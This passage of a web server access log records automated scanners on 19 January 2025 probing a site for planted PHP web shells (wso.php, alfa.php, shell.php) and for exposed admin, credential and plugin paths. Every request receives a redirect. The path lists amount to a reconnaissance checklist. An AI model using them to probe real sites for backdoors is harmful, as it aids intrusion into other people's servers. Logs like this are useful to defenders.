/wp-content/themes/fitnessbase/send.php HTTP/1.1" 302 258 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:46 +0530] "GET /wp-content/themes/fitnessbase/upup.php HTTP/1.1" 302 258 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:48 +0530] "GET /themes/seotheme/mar.php HTTP/1.1" 302 243 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:50 +0530] "GET /wp-content/plugins/ango/cong.php HTTP/1.1" 302 252 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:51 +0530] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 302 252 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:53 +0530] "GET /wp-content/wso.php HTTP/1.1" 302 238 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:55 +0530] "GET /wp-content/alfa.php HTTP/1.1" 302 239 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:56 +0530] "GET /wp-content/shell.php HTTP/1.1" 302 240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:57 +0530] "GET /wp-content/wso2.php HTTP/1.1" 302 239 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:59 +0530] "GET /wp-content//wso1.php HTTP/1.1" 302 239 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:25:00 +0530] "GET /wp-content/uploads/wso.php HTTP/1.1" 302 246 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:25:01 +0530] "GET /wp-content/uploads/alfa.php HTTP/1.1" 302 247 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:25:02 +0530] "GET /wp-content/uploads/shell.php HTTP/1.1" 302 248 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 163.172.34.70 - - [19/Jan/2025:21:43:30 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" 18.143.133.223 - - [19/Jan/2025:21:57:11 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 206.168.34.198 - - [19/Jan/2025:22:28:28 +0530] "GET / HTTP/1.1" 302 225 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 170.39.194.53 - - [19/Jan/2025:22:34:04 +0530] "GET /img/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:04 +0530] "GET /wp-includes/PHPMailer/ HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:05 +0530] "GET /Site/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:05 +0530] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:06 +0530] "GET /credentials/credentials/ HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:07 +0530] "GET /admin/login/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:07 +0530] "GET /cms/adMInhtml_page/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:08 +0530] "GET /wp-admin/ALFA_DATA/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:09 +0530] "GET /upload/image/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:10 +0530] "GET /shop/ HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:10 +0530] "GET /rss/catalog/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:11 +0530] "GET /.well-known/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:12 +0530] "GET /wp-content/themes/travel/ HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:13 +0530] "GET /cgialfa/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:13 +0530] "GET /articles/wp-json/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:14 +0530] "GET /server-status/ HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:15 +0530] "GET /wp-includes/pomo/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:15 +0530] "GET /network/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:16 +0530] "GET /NEW/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:34:57 +0530] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:35:28 +0530] "GET /wp-content/plugins/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:35:43 +0530] "GET /myadmin/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:22:36:31 +0530] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 302 272 "-" "python-requests/2.32.3"